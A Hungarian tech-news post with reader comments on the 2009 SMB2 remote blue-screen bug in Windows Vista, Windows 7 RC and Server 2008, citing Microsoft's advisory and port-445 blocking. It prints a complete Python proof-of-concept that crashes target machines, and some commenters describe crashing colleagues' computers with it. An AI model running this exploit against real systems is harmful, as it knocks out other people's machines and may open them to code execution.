[Frissítve #2] Windows Vista, Windows 7 RC és Windows 2008 remote BSOD bug

Címkék

Egy, a Windows Vista-ban és a Windows 7-ben jelen levő bug lehetővé teszi a távoli (helyi hálózaton levő) támadó számára, hogy bizonyos beállítások mellett "elkékhaláloztathassa" az áldozat számítógépét. Az SMB2 protokoll implementációban található bug egy egyszerű python script-tel triggerelhető:

Frissítés #1 E blogbejegyzés szerint a bug nem csak BSOD okozására, hanem távoli kódfuttatásra és helyi privilégium-szint emelésre is felhasználható lehet. A blog szerint a Windows Server 2008 is érintett.
Frissítés #2 Az MSRC szerint érintett: Windows Vista, Windows Server 2008 és Windows 7 RC, nem érintett: Windows 7 RTM, Windows Server 2008 R2, Windows XP és Windows 2000
Frissítés #3 Microsoft SA 975497

# SecurityReason Note :
# Tested on : Windows Vista SP2 full updated - US-en
#
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" header field it
# dies with a
# PAGE_FAULT_IN_NONPAGED_AREA B.S.O.D

from socket import socket
from time import sleep

host = "ip_cim", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal operation should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

A bejelentés szerint a Windows Vista / Windows 7 érintett. A Windows Server 2008 is érintett lehet. A Microsoft még nem reagált a hibára, javítás még nincs. A probléma ellen védekezni lehet a 445-ös portra érkező forgalom blokkolásával.

A részletek a bejelentésben.

Hozzászólások

Windows 7 beta és RC volt kéznél. Szépen leterítette mindegyiket. Kollégám csak lesett mi lett a gépével. :) Az egyiket meg kellett hozzá "szerelni" ("file and print sharing"-et engedélyezni), mert alapértelmezetten nem volt nyitva a 445.

--
trey @ gépház

Viszont lokál hálón jól lehet vele játszani. Nekem nem kellett messze mennem, mert a tőlem öt méterre levő kollégám gépén már találtam is nyitott, sebezhető portot. Megengedte, hogy kipróbáljam. Ha pedig a Windows Server 2008 is érintett, akkor úgy lehet szórakozni, hogy az egész vállalt is "élvezi". Kivéve a rendszergazda :)

--
trey @ gépház

Tényleg nem használ a kolléga IPsec-et ahhoz, hogy egy notebookkal kilásson az internetre távmenedzsment célból. Nem tagja domain-nek sem, mivel telephelyek közt mozog. A gépén pedig valami oknál fogva be volt kapcsolva a file share. Én VPN-en csatlakoztam a hálózathoz kívülről, a linuxos gépemen semmilyen fájlmegosztás sincs. IP alapján megszólítottam a 445-ös portját. Nem érzem, hogy hova kellene ide mindenképpen IPsec.

--
trey @ gépház

Az ipsec kérhető csak az SMB forgalomra is. És természetesen ki is védi a fenti helyzetet, csak éppen azt nem védi ki, ha a támadás akármilyen okból belülről indul. Már úgy belülről, hogy a támadó gép eléri a fileszervert, épp ezért tud az ipsec-hez authentikálni, mert onnantól a támadókód is mindenféle módositás nélkül ipsecen fog zajlani (és működni).

Egyébként nálam is 2008 szerveren működik, win 7-en, 2008 R2 szerveren nem. (ipsec-es szerveren, úgy hogy a kliensnek nincs ipsec-e értelemszerűen egyiken sem megy)

Tehát akkor összefoglalva, ha a szerver az SMB-t ipsec-en keresztül szolgáltatja és a kliensen nincs ipsec beállítva, akkor nem tudja használni az exploit-ot a szerver ellen. Ha van a kliensen ipsec beállítva, akkor el tudja crash-eltetni a Windows Server 2008-at, de a Windows Server 2008 SP2-t nem. Jól értem?

--
trey @ gépház

WinNuke 2009 \o/ :)

-=- Mire a programozó: "Na és szerintetek ki csinálta a káoszt?" -=-

Nekem Windows 7 van fent (Professional RTM), de a vállalkozó kedvű kollégák nem tudják leteríteni. Engedélyezve van a samba, de mégsem megy.

"Nekem Windows 7 van fent (Professional RTM)"

A véglegeset nem próbáltam, csak úgy 2 óra múlva leszek végleges W7 közelében, majd akkor meg tudom nézni.

"nem tudják leteríteni"

A "telnet ip_címed 445" távolról megy?

"Engedélyezve van a samba,"

A micsoda? :) A tűzfalaknál a "file and printer sharing"-et kapcsold be ha nem lenne.

--
trey @ gépház

Végleges verzión nekem sem megy a crash. Viszont:

"This is the reason why this vulnerability is a Remote Code Execution and not only a DoS. And this is the reason why the exploit provided may or may not crash a machine. If the page pointed by the index is not paginated the system will BSOD otherwise it might crash on another point or simply not to crash. "

--
trey @ gépház

Regen nem hasznalok windows-t, de nem a mai nap a patch-kedd? :)

Ujjazzak magukat az anti-M$-trollok... :^DDD

----------------------
"ONE OF THESE DAYS I'M GOING TO CUT YOU INTO LITTLE PIECES!!!$E$%#$#%^*^"

Nincs kedvenc distro-m, OS teren partatlan vagyok. Elsosorban Win felhasznalo vagyok, egy ideje (5+ ev) probalok atallni linuxra, ez reszben az en benasagom miatt, reszben _a_linux_ desktopra valo kiforratlansaga miatt nem sikerult.

De szeretem cikizni mindket tabor fanatikusait! :^D

----------------------
"ONE OF THESE DAYS I'M GOING TO CUT YOU INTO LITTLE PIECES!!!$E$%#$#%^*^"

Gondolom holnapra a ms ugyis kiad egy javitast a bugra. Vagy ez egy feature? :DD

Na jó ha nem is holnap, de márhoz egy évre bizotsan, muhahaaa :DDDDDD

nem baj, ezt várjuk el tőle :) szegény ennyit tud csak nyújtani :)

Hogy is van az, hogy Macen a SMB halozatban a gepek ikonja egy BSOD-t megjelenito monitor? :-)
--


()=() Ki oda vagyik,
('Y') hol szall a galamb
C . C elszalasztja a
()_() kincset itt alant.

A röhely nem ez, hanem az, hogy noha a Microsoft úgy tűnik javította már a problémát egyes termékeiben, szart bele, hogy többit is megnézze kell-e javítani. Végül is javítva van egy jelenleg szűkebb körben terjesztett termékben (W7 RTM) illetve a Windows 2008 R2-ben, de nincs javítva három széles körben használt termékben: Vista, RTM > W7, Windows 2008.

--
trey @ gépház

Azért azt merész volna kijelenteni, hogy a w7 smb kódjában konkrétan kijavitották ezt a hibát és szándékosan nem javitották a régebbiekben. Könnyen lehet, hogy a hibát okozó részt teljesen újrairták (nem a hiba miatt) vagy a hiba most is ott van, de a kód valamilyen átszervezése miatt már nem kihasználható. (ahogy az is előfordulhat, hogy kihasználható, csak nem az exploit jelenlegi formájában)

Igen, bennem is felmerült, hogy lehet ez egy másik fejlesztésből adódó side effect. De ha tudatosan javították a W7 RTM-ben és a WS2008R2-ben, akkor az még ok, hogy azonnal nem javították a többi érintett rendszerben is, mert mondjuk a javítás fejlesztés, tesztelés, QA alatt van, de hogy egy advisory-t sem adtak ki róla... Akkor ott már felmerül a szándékos sunnyogás gyanúja.
--
trey @ gépház

Arra mindenképp jó volt hogy asszonyt a linux felé ösztönözzem :)

Nekem is van rokon-userem, aki Linuxra van "kenyszeritve", mivel az user sajnos untrusted, es telibaszna netrol mindenfele mocsokkal a gepet, mivel mindenre rakattint, ami felugrik. Nekem meg se idom se idegrendszerem utazni 350km-t kethavonta ujratelepiteni. A Linuxot meg nem tudja elbaszni. Se o, se a szomszed Pistike a legujabb hiper-lewarezolt barmi telepitesevel.

-=- Mire a programozó: "Na és szerintetek ki csinálta a káoszt?" -=-

Pontosan, ha a userek nem csak a linuxban csinálnák azt, hogy az RG helyett 1 erősen korlátozott felhasználót használnak, és runas-el a legszükségesebb rendszerszintű beállitásokat állítgatnák, nem lenne ennyi problémájuk. Mondjuk az ilyen szintű bugoktól az se véd, de mégis nem lenne problema a szomszéd agyon warezolt cuccai.

pl. ott, hogy ami windows-specifikus sebezhetőség, az ugye linuxon nem játszik. Na már most annak az esélye, hogy mariska néni az ubuntun klikkolgatva összeszed valami virulenset annnnnnyira minimális ugyanezen eset windowsos változatához képest, hogy ezt a kérdést fel se kellett volna tenned :)

Tudod, aki Mariska neninek olyan gepet telepit, hogy a virus osszeszedes eselye ekkkkkkkora lesz, annak szegyenkezve kellene szaraz kukorican terdepelve bunhodni napokig. Mert nem csak Mariska nenin mulik a dolog.
--


()=() Ki oda vagyik,
('Y') hol szall a galamb
C . C elszalasztja a
()_() kincset itt alant.

És szerinted a linux kernelbe nincsenek bugok vagy amit kihasználva szét lehetne baszni a rendszert ?? Abban igazad van hogy a linuxba jóval kevesebb van mint a windowsba. A mircosoft is igyekszik a biztonsági hiányosságait befoltozni. Arról viszont nem a microsoft tehet hogy a programok nagy részének sebezhetőségét az okozza hogy a kedves kis programozok basznak odafigyelni arra hogy a programjuk ne követeljen administratori jogokat vagy ne kelljen olyan registry kulcsokat importalnia ami miatt a rendszer biztonsága csökken.

Azzal meg hogy korlátozott jogokat adsz nem azt éred el hogy tökéletes legyen a rendszered hanem hogy bizonyos biztonsági hibáktól és a felhasználótól megóvd a géped. Te sem hinném hogy root ként logolsz be vagy a userednek root jogokat állítasz be.

Egyáltalán nem értem miről beszélsz. Van egy nagyon jól, sőt, nyugodtan mondhatom, hibátlanul működő rendszere (OpenSUSE). Nem gondolom, hogy azzal ítélném szenvedésre, hogy kompromisszumok nélkül használhatja a gépét arra amire az való. Ráadásul magamnak is egy csomó fejfájást megspórolok azáltal, hogy a kötelező frissítéseken kívül nem kell a rendszer karbantartásával túl sokat törődnöm (sőt, szinte semmit). Mindekettőnk élete lényegesen egyszerűbb azzal, hogy Linuxot használ.

Csak netezésre egyszerűbb egy default Ubuntut felrakni, mint feltelepíteni egy XP-t (Vista, 7 nem megy a gépen), és reszelgetni, hogy ne tudjon vírust rakni a gépre (nem lehetetlen, de ahhoz sokkal jobban kellene értenem a Windowshoz).

Sőt, az ACHI is jó dolog, mert az XP SP2 telepítő nem megy fel, így a szomszéd Pistike nem tudja újratelepíteni a gépet. Sőt, a Vista-val szállított laptopokat sem nekem kell újratelepítgetnem.

...és ott a pendrive-ra rámászott...

egy kb. 60 kB-os autorun.inf-nak látszó tárgy.

Windows megnyitja, mert abban van, hogy mit kell tennie cserélhető egység betételekor. Aztán: jé, ez valójában egy exe - nem baj, akkor lefuttatom.

nod32 viszont rendesen kivágja még feltápászkodás előtt.

Ha valakinek az Avira (erről kaptam visszajelzést) vagy más AV szoftver jelez ennél a cikknél, az nem a véletlen, hanem a cikkben található exploit műve.

--
trey @ gépház